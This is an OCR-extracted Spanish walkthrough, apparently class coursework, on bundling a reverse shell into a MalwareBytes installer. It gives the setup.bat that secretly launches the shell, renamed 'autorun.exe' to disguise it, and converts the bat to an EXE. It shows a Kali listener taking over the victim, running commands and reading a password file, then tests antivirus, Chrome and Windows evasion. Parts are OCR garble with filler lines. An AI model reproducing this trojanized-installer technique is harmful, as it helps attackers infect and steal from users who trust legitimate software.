Inyeccion shell en Aplicacion Comercial

1.  Dada la aplicacion comercial, por ejemplo MalwareBytes, afiadir al setup de
instalaciéon un malware ejecutable o dll con una shell inversa (enlace en el que se
ensefia como crearla).

Anadiremos el malware creando un NUEVO Setup de instalaciéon. Sera en principio
un archivo por lotes (bat) que inicie esta shell inversa y la instalacion del programa,
lo llamaremos setup.bat.

2. (enlace) Para que sea todo normal lo pasaremos a ejecutable con una aplicacion
que se pondra en el drive. La nueva aplicacion se llamara setup.exe.
DA PROBLEMAS PORQUE DICE QUE LA APLICACION QUE PASA A EXE NO
ES ORIGINAL.
SOLUCION: DEJAR EL BAT

2.1.  Dejar fichero Bat:
setup.bat

2.2. Crear fichero exe:
setup.exe

3. (enlace) Al ejecutar la nueva aplicacion se tiene que lograr abrir la shell remota en
el servidor Kali con la instalacion.

4. Comprimimos todo en un archivo.

5. (enlace) Pruebas de deteccidn.:

51. Antivirus.
5.2. Chrome.
5.3. Windows 10.
5.4.

6. dfdfdfdf

SOLUCION:


https://drive.google.com/drive/folders/1MEwuo4BWhAxAuOEkEsETzvo4CNMgdVk7?usp=sharing
https://drive.google.com/drive/folders/1MEwuo4BWhAxAuOEkEsETzvo4CNMgdVk7?usp=sharing

1.  Dada la aplicacion comercial malwarebytes, afiadir al setup de instalacién un
malware ejecutable o dll con una shell inversa.
Anadiremos el malware creando un NUEVO Setup de instalacion.
Sera en principio un archivo por lotes (bat) que inicie esta shell inversa y la
instalacion del programa, lo llamaremos setup.bat.

Trabajaremos en la carpeta “Descargas”.

nicia Compartir Vista
I » Este equipo » Descargas » prueba » local
el
Nombre Fecha de medificacién Tipe Tamario
o rapido
L [ shell 13,/09/2023 18:03 Aplicacign 260 KB
tario
cargas
umentos
genes

turas
so Android Avar
2023

El cédigo del setup.bat sera:

@echo off

echo ejecutamos la shell
pause

START shell.exe

@echo off

echo instalamos archivo

pause

START mbam-setup-web.NT-2.2.1.1043

2. Crear fichero setup.bat o setup.bat.
Modificamos el nombre de la shell por otro menos sospechoso:

autorun.exe



MNombre Fecha de modificacion

| (8] autorun I 13/09/2023 18:03

=] Licencia 13/09/2023 8:54
¥ malware-bytes 13/09/2023 8:56
) 13/09/2023 18:55
i3 mbam-setup-web.NT-2.2.1.1043 13/09/2023 8:53
4, setup 13/09/2023 18:48
[&] setup2 13/09/2023 18:48

2.1.  Creamos un fichero llamado:
setup.bat
La shell inversa la llamaremos autorun.exe, para disimular.
El contenido del fichero bat es este, con la opcién /B no creamos ventana
nueva:
@ECHO OFF

START autorun

START /B mbam-setup-web.NT-2.2.1.1043

2.2. Creamos un fichero llamado exe:

setup1.exe

Pulsamos el botén build, de la imagen:



Rellenamos la informacién de la nueva aplicacion, ponemos icono también
(utilizamos advbattoexeconverter.exe):

— - —_ - - -

nmand ‘wizard
.. Add <Mumberl: <Number2:
I'@J Select EXE Options — >
Free use on ONE computer only. Please buy the FEO version to distribute the EXE. [click Eor mfo]
y Operating System EXE Icon
= Please select the Operating System lcon INFO Select lcon....
f that the executable will run on. Image Count _
cutamd & Muliple malware-bytes ico
™ Single
Image Index €1 1901 2 g pom,008
ell.e;
£ Window Options
talamg | Tite [window Title 12/80)
Size ‘wWidth | 20 [v Center Window [ Run as Admin [Shows UAC prompt)
am-sef Height | 25 [~ Enable QuickEdit [ Start Invizible  [Hidden console)
| Versioninfo | Embed Files Password
[ Inchude Version info File Wersian: | 1 | 0 | 0 | 1]
Froduct Mame: |Product Mame
Dezcription: |P'ru:u:|uu:t D ezcription
Comparu: |Y|:|ur Compary C
Copyright; |I:|:||:|_I,Iright I
— Build EXE Cancel
Isersh 1l

y pulsamos build

Se nos crea la nueva aplicacién, ya con el malware.



» Este equipo » Descargas » prueba » local

o~

MNombre Fecha de modificacion Tipo Tamafio
io
+ D Licencia 13/00/2023 &:54 Documento XML ... 10KE
¥ malware-bytes 13/00/2023 %56 lcono 59 KB
* TB! mbam-setup-web MNT-2.2,1.1043 13/09/2023 &53 Aplicacian 22316 KB
os A %] setup I 13/09/2023 18:15 Archivo por lotes ... 1KBE
- L SEp 13/09/2023 18:15 Aplicacion 137 KB
[] shell 13/09/2023 18:03 Aplicacion 260 KB

3.  Conseguir que se habra la shell remota en el servidor Kali con la instalacion.

Ponemos Kali a la escucha.

Abrimos la VPN (voy a utilizar la bypassZ) si es conexién remota,si no, no hace falta la
VPN.



Ny

e kali, 192.168.132.176 (Instantanea 1) [Corriendo] - Oracle VM VirtualBox
S h = ' ) it g 1 2 3 4 | O &:

- root@kali2022: home/luisma/Descargas
1da B . ) S .
d Archivo Acciones Editar Vista Ayuda

1 Pape root@kali2022: fhome/luisma/Descargas X root@kali2022: fhome/luisma/Descargas *

2 /home/luisma/Descargas
/E 4 python server.py
B [~] Escuchando en 0.0.0.0:2222
B

Sistem.

0:35
D) & 3/00/2023

Hacemos doble click en la aplicacion, en el setup creado.:



gas

nes

» Esteequipo » Descargas # prueba » local

rapide

Mombre : Fecha de medificacion  Tipo
D Licencia 13/00/2023 &:54 Documentae XML ...
¥ malware-bytes 13/09/2023 &:36 lcone
]f'_:’;‘ mbam-setup-webNT-2.2,1.1043 13/00/2023 &:53 Aplicacién

1entos setupl 13/00/2023 18:15 Archive por lotes ...
¥ setupl 13/09/2023 18:15 Aplicacién
[5] shell 13/09/2023 18:03 Aplicacion

Control de cuentas de usuario

sQuieres permitir que esta aplicacion de un
anunciante desconocido haga cambios en el
dispositivo?

setup2.exe

Editor: Desconocido
Origen del archivo: Unidad de disco duro en este equipo

Mostrar mas detalles

Para continuar, escriba un nombre de usuario ¥y una contrasena
de administrador.

soniatksonia

Nos sale la consola de la shell, que se puede ocultar, como veremos:

Tamario

10 KB
39KB
22316 KB
1KB

137 KB
260 KB

Al ser editor desconocido, nos pide password, PERO EL ANTIVIRUS NO DETECTA
NINGUN MALWARE.



LS00 AR ] AV, Ernd  WSET LAGSNDOAny j M. WWAA LU VYdIlEL 8 AL CHCNGNYgE | 1%, 18 i

L

jecutamos la
RS ETRERR & | C\Users\uismatDownloads'pruebatlocalishell.exe

nstalamos arity s Py
client: conectando a 192.1

resione una

MalwareBytes se comienza a instalar en paralelo:

conectando a

Seleccione el Idioma de la Instalacion

instaladion:

FD Seleccione el idioma a utilizar durante la

Fspaiol

Cancelar




y se crea la conexion.

Ejecutamos algunos comandos también:

ALGUNAS VECES HAY QUE EJECUTAR 2 VECES LOS COMANDOS
LA RESPUESTA NO CABE EN SOCKET

> whoami

desktop-10r8jdS\Imdel
>dir %userprofile%
C:\Users\Imdel

> dir
El volumen de la unidad C no tiene etiqueta.
El nmero de serie del volumen es: 1076-FFB2

Directorio de C:\Users\Imdel
14/09/2023 18:28 <DIR>

14/09/2023 18:28 <DIR> ..
06/09/2023 17:57 <DIR> .vscode

06/09/2023 17:47 <DIR> 3D Objects
08/09/2023 19:27 326 a.txt

06/09/2023 17:47 <DIR> Contacts
13/09/2023 22:30 <DIR> Desktop

11/09/2023 10:02 <DIR> Documents
13/09/2023 22:24 <DIR> Downloads
06/09/2023 17:47 <DIR> Favorites

06/09/2023 17:47 <DIR> Links
06/09/2023 17:47 <DIR> Music
15/09/2023 17:51 <DIR> OneDrive
07/09/2023 15:19 <DIR> OpenVPN
06/09/2023 17:49 <DIR> Pictures
06/09/2023 17:47 <DIR> Saved Games
06/09/2023 17:49 <DIR> Searches
14/09/2023 19:47 <DIR> Videos

1 archivos 326 bytes

17 dirs 5.552.627.712 bytes libres



>dir %userprofile%\Desktop

comando enviado al cliente
El nmero de serie del volumen es: 1076-FFB2

Directorio de C:\Users\Imdel\Desktop

15/09/2023 19:18 <DIR>
15/09/2023 19:18 <DIR>

07/09/2023 17:22 995 01 Reverse shell - Acceso directo.Ink
07/09/2023 17:22 995 02 Reverse shell - Acceso directo.Ink
07/09/2023 17:22 1.049 03 Inyeccion de codigo - Acceso directo.Ink
11/09/2023 18:34 1.188 a.txt

11/09/2023 10:03 2.018 aB2Econv - Acceso directo.Ink
15/09/2023 19:18 17 clave.txt

06/09/2023 19:13 1.210 Command Prompt.Ink

06/09/2023 17:49 1.446 Microsoft Edge.Ink

08/09/2023 19:06 1.319 procexp64 - Acceso directo.Ink
13/09/2023 22:18 <DIR> shell inversa indetectable
12/09/2023 18:04 1.132 Task Scheduler.Ink

06/09/2023 17:57 1.400 Visual Studio Code.Ink

11 archivos 12.769 bytes
3 dirs 5.550.993.408 bytes libres

respuesta recibida



oD

Programadar de Goagle Chro
tareas

[l

ficrosoft Edge claves =h [ invers Wisual Studio (

Il

JpenVEMN G

> type %userprofile%\Desktop\clave.txt
comando enviado al cliente

3453

respuesta recibida
>



Mj clave: Bloc de notas

Sl Archive Edicién  Formate  Ver  Ayuda hro

n:.r.

3453

>dir %userprofile%\Downloads
comando enviado al cliente

El volumen de la unidad C no tiene etiqueta.
El nmero de serie del volumen es: 1076-FFB2

Directorio de C:\Users\Imdel\Downloads

13/09/2023 22:24
13/09/2023 22:24
11/09/2023 17:40
06/09/2023 23:08
06/09/2023 23:09
06/09/2023 23:08
06/09/2023 23:08
06/09/2023 23:08
11/09/2023 17:35
11/09/2023 18:23
13/09/2023 22:21
06/09/2023 18:22
07/09/2023 15:19
08/09/2023 19:06
08/09/2023 19:05
08/09/2023 19:05
14/09/2023 23:29
11/09/2023 17:59
11/09/2023 17:28

<DIR>
<DIR>
<DIR> 01 Reverse shell
3.263 01 Reverse shell-20230906T2107582-001.zip
<DIR> 02 Reverse shell
3.584 02 Reverse shell a dlI-20230906T210806Z-001.zip
<DIR> 03 Inyeccion de codigo
3.095 03 Inyeccion de codigo-20230906T2108142-001.zip
326 a.txt
82.133 hola_v3.exe
22.992.713 MalwareBytes.rar
87.874.547 msys2-x86_64-20230526.exe
5.177.344 OpenVPN-2.6.6-1001-amd64.msi
<DIR> ProcessExplorer (1)
3.514.508 ProcessExplorer (1).zip
3.514.508 ProcessExplorer.zip
<DIR> prueba
722 setupv2.bat
82.168 setupv2.exe



11/09/2023 18:23 712 setupv3.bat
11/09/2023 18:01 82.099 setupv3.exe
11/09/2023 17:48 266.239 shell.exe
06/09/2023 17:56 93.351.472 VSCodeUserSetup-x64-1.81.1.exe
13/09/2023 22:23 1.906.448 wrar531es.exe
17 archivos 218.855.881 bytes
7 dirs 5.553.008.640 bytes libres

ie del volumen es: 1076-FFB2
Directorio

de C:\Users\lmdel\Downloads\@e1 Reverse shell\ea

13/09/2023 17:33 <DIR> 5

13/09/2023 17:33 <DIR> b

26/09/2023 23:08 <DIR> .vscode

13/0e9/2023 17:33 2 a.txt

©7/09/2©23 15:38 696 server.py
C 13/e9/2023 17:33

3.571 shell.c
13/09/2023 17:33 266.239 shell.exe

4 a?chivos 270.506 bytes
3 dirs 5.190.144.000 bytes libres

en:

4. Borramos los ficheros que no nos hacen falta.

Comprimimos todos los archivos que utilizamos en un fichero:



E lecal - WinRAR. (copia de evaluacién)

Archive Ordenes  Favoritos Opciones  Ayuda

== JeNgy RCE -

iy Wy

Afadir  Extraeren Comprobar Ver Eliminar Buscar Asistente Informacién | Reparar
E | C\Users\luisma\Downloads'prueba'local
Nombre 4% Tamafio Tipo Modificade
. Carpeta de archives
@ Licencia.docx 9.665 Documento XML a... 13/09/2023 8:54
B malware-bytes.i... 59.586 Icono 13/09/2029 Creando el archive MalwareBytes.rar
‘ﬂmbam—setup—w... 22.851.472  Aplicacion 13/09/2023
# Setup.exe 131.265 Aplicacién 13/00/202y 29regande
— ' F 1 mbam-setupwebNT-221.1043eve  51%
[E shell.exe 266239 Aplicacién 13/09/2023 [
Tiempo 00:00.07
Tiempo restante  00:00:07 B1%
I —
Pausa
Cancelar Ayuda
. I — -
Inicio Compartir Vista 0
A » Esteequipo » Descargas * prueba » local v | 0 2 Buscar en local
s
- Mombre Fecha de modificacion Tipo
7 Acceso répido
o [®] autorun 13/06/2023 18:03 Aplicacién
[ Escritoric o ) . R R
D Licencia 13/0G/2023 8:54 Documento XML ...
D 0ranna e
; escargas A " malware-bytes 13/0G/2023 8:36 lcono
Documentos B MalwareBytes 13/09/2023 19:08 Archivo WinRAR
[E] Imagenes o ﬁ' mbam-setup-web NT-2.2.1.1043 13/09/2023 8:53 Aplicacién
Capturas M setup 13/09/2023 19:05 Aplicacién
Kali 2023
local
E Videas
g Este equipo

A Nacrarnac



5. Pruebas de deteccion.:

5.1. Antivirus.
Lo pasamos por el antivirus:

https://virusscan.jotti.org/es-ES

y hay uno que detecta algo, pero puede ser un FALSO POSITIVO:

Jsttn

Jotti's malware scan  Analizar archivo  Buscar hash Lenquaje FAQ Privacidad APl  Contacto

MalwareBytes.rar

Mombre: MalwareBytes.rar Estatus: Analisis finglizedo. 1/14 motores antivirus reportaron malware.
Tamario: 21,93MB (22992713 bytes) Analisis hecho en: 13 de septiembre de 2023, 19:11:36 CEST
Tipo: RAR archive data, v4, 05 Win32
E:;_em“ POTPIIMETE 3 o septiembre de 2023, 19:11:35 CEST
MD5: bdBa6868dac2c50ca330264f705f9122
SHAT: 66094996271301644f6530150c28cdd4238774e

af ovast 13:000m3 Win3ZMalwaregen r 2o 13eept 2023 No encontré nada @ ClamAV 13eept 2023 No encontrd nada

7 il Bitdefender »

cY R E NREEZSI-E No encontrd nada - 13e2ept. 2023 No encontrd nada m 132ept. 2023 Noencontrd nada
FRIATINET 13e=pt 2023 No encontrd nada “:F-Secure 13eept 2023 No encontrd nada Ganﬂh\ 132ept. 2023 Noencontrd nada
SHKARUS 13:=pt 2023 No encontrd nada K" 13eept 2023 No encontrd nada I<aspersl(y 132ept. 2023 Noencontrd nada
» IEEEE 12eept 2023 No enconiré nada VBA32 13:pt2023 Noenconird nada

52. Chrome.

Probado en la version:

Versién 117.0.5938.63 (Build oficial) (64 bits)

No lo detecta.


https://virusscan.jotti.org/es-ES

> & MNusva pestaiia ™ =+

Descargas recientes

@8 raalwareBytes 3.2.1 (1)rar
21,9 MEB - Hace 3 minutos

f8 rvalwareBytes 3.2.0.rar
21,9 ME - Hace 5 minutos

Postrar todas las descargas

die

5.3. Windows 10.

5.3.1. Probado en:

Windows 10 PRO
version22H2

LL1]
L1LL]
(111}
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P2 CAS - Central Auth..

a Inyeccion shell en Aplicacion comercial v1

Archivo Editar  Ver
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Insertar

100%
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B Inyeccion shell en Aplicacion cor: X 4

n
12 elementos.

1 elemente seleccionado 21,9 MB

Estado: @8 Compartido

& Compartir

VA ~

O x

e

Buscar en Downlo...

Fecha de modi

15/09/2023 12:!

2/09/2023 1

@ docs.google.com/document/d/13L9dfnPyRyJjgBpB4ovW2LIP3nRXfh86iZglwnQ... |12 @ m B
[ Seguridad Informét...
w B S
‘ ) O 8 a-
Formato Herramientas Extensiones Ayuda
Textonor... ~ Arial - B I U
3I#Is\&\ Igllgllll
c) Windows 10.
& [F [ = | Downloads -
« « 4 b > Esteequips > Downloads » v o fa
" Nombre
s Acceso rapido
[ Desktop w0 vhoy (D)
& Downloads - B MalwareBytes 3.2.1
Documents #| v al principio de esta/ g3 S WinRaR
— = comandos cmd Temafio: 21,9 MB
=] Imégenes * N: - Fecha de modificacion: 15/09/2023 12:54
SMR @5 comandos_emd (1)
Tema 5 - Seguridad digital B codiges
Comandos (1
B Videos 5] Comandos (1)
Codigos
Virtual Machines
~ la semana pasada (6)
OneDrive [ cryters, positivos
[ Este equipo |7 nvidia-openjdk-8-jre.deb
I Desktop B 2022-23, Programaciones Departamento de Informatica-20221120T1...
= %) Distribucion Informatica ESQ
[Z Documents -
[5] Comandos
4 Downloads .
2022-23, Programacicnes Departamento de Informatica-20221120T1...
=] Imégenes
D Musica
_J Objetos 30
B Videos
“i, Disco local (C3)
= Reservado para el sistema (D)
= Disco local (E)
v <




ién shell en Aplicacion comerc:  [B] Inyeccion shell en Aplicacion con X 4

e (] @& docs.google.com/document/d/13L9dfnPyRvljgBpB4ovW2LIP3nRXfh86iIZglwnQ... 12 @ m B & O L OB Q@VPN =

[ Redes (120m s mammeeia

2..ral — [m] x
Archive Ordenes Herramientas Favoritos  Opciones  Ayuda )
a Iny, £ , - & Compartir
Arc| N
= WD & YW
W g
Q, & Afedir Edraeren Comprobar  Ver  Eliminar Buscar Asistente Informacién | Buscarvirus Comentario Proteger auto axtraible 7~ N ]
Nombre - Tamafic Comprimido Tipo Modificado cRC32
=] @ Disco local
[lautorun.exe 266.239 96.467 Aplicacién 13/08/2023 17:33  03D4058D
P
| Licencia.docx 9665 9.003 Documento deMi.. 13/09/20238:54 5B27D413 @
[ mbam-setup-web.NT-2.2.1.1043.exe 22851472 22851472 Aplicacién 13/09/2023 853 CEFCAS2C
[ setup.exe 131.261 30920 Aplicacién 13/08/2023 22:32  5E395138
] .
q Por favor, compre su licencia WinRAR X ®
]
Esta usando el compresor WinRAR una M Q
B vez findlizado el periodo de prueba de Como comprarlo
1 40 dias. Ahora debera comprar una
licendia o bien dejar de usar WinRAR y Cerrar
desinstalarlo de su ordenador.
Ayuda
B +
o]
-~
]
o] =~ Total 23.238.637 bytes en 4 ficheros
. - S— L -
1 e D gt i s U 0T
=1
e
]
=]

H AP Buscar
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[l autorun.exe

[ mbam-setup-web.NT-2.2.1.1043.&4
[15] setup.exe

B Inyeccion shell en Aplicacion cor % 4

Iny| Archivo Ordenes Herramientas Favoritos  Opciones

- 2 ) By
Afiadic  Extrzeren Comprobar  Ver  Eliminar Buscar Asistente
3] B Carpetay opciones de extraccién
Nombre

General Avanzado

Carpeta de destin (3i no existe, se areard)

Infermacién

@& docs.google.com/document/d/13L9dfnPyRvljgBpB4ovW2LIP3nRXfh86iZglwnQ...

M A

Modo de actualizacién
(@) Extraer y reemplazar
(D) Extraer y actualizar
(O 5olo actualizar

Modo sobrescribir

(@) Confirmar sobreescritura
() sobresaribir sin confirmacién
(O Omitir ficheros existentes
O Renombrar automaticamente

Varios
Extraer en subcarpetas

[ conservar ficheros dafiados

[[IMostrar ficheros en el Explorador

Guardar opdones

e | @

.y

s

g

o

Buscarvirus Comentario Proteger auto extraible
? X
c32
Mostrar 40580
Nueva carpeta | | 270419
FCas2C
[ Escritorio Al | los1as

OneDrive
luisma

Este equipo
{0 Desktop

‘i, Disco local (C3)
s Reservado para e sistema (03)
= Disco local (E2)

wa Disco local (F:)

s Disco local (G2)

-7 Bbliotecas

Cancelar

Ayuda

5.3.2.

dffdfdfdffd

Total 23.258.637 bytes en 4 ficheros
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Inicio Compartir  Vista (7]

&« v 4 ¥ » Esteequipo > Descargas v o O Buscar en Descargas
Nombre Fecha de modificacién | Tipo Tamafio
3 Accese répido
B Esciitorio + hoy @
1 Descargas o+ B MahwareBytes 321 (1) Archivo WinRAR 22450 KB
Documentos # £ MalwareBytes 3.2.1 Archivo WinRAR 22450 KB
] Imagenes + ¥ hace mucho tiempo (1)
admin 0 Escritorip~a S 25002002 12.1 A clizack 1kp
8 MalwareBytes 3.2.1.rar (copia de evaluacién) - m] X
paginas.m i
Archivo  Ordenes Herramientas Favoritos Opciones  Ayuda
23 Este equipo —

D Owme @ @ & ®

e At
Documentos Afadir  Extraer en Comprobar Ver Eliminar Buscar Asistente Informacién | Buscarvirus Comentario Proteger auto extraible
Extraer ficheros
B Escritorio + W!;w;: archive RAR 4., tamafio descomprimido 23.258.637 bytes -

=] Imagenes Nombre Tamafic  Compiimide Tipe Medificade CRC32

D Musica “arpeta de arch

“J Objetos 30 [ autorun.exe 266239 96467 Aplicacién 13/09/2023 17:33  05D4058D

B videos @5 Licencia.docx 9663 2003 Documento deMi.. 13/09/2023854 3827D419
[ mbam-sctup-w.. 22851472 22851472 Aplicacién 13/09/2023 853 CEFCAQ2C

‘& Disco local (C) [¥] setup.exe 131.261 30020 Aplicacion 13/09/2023 22:32  5E305138

e Disco local (D3)

=P Red

Total 23.238.637 bytes en 4 ficheros

Jelementos 1 elemento seleccionade 21,8 MB E =

£ Buscar

5.3.3.  dfdfdf

6. fdfdf



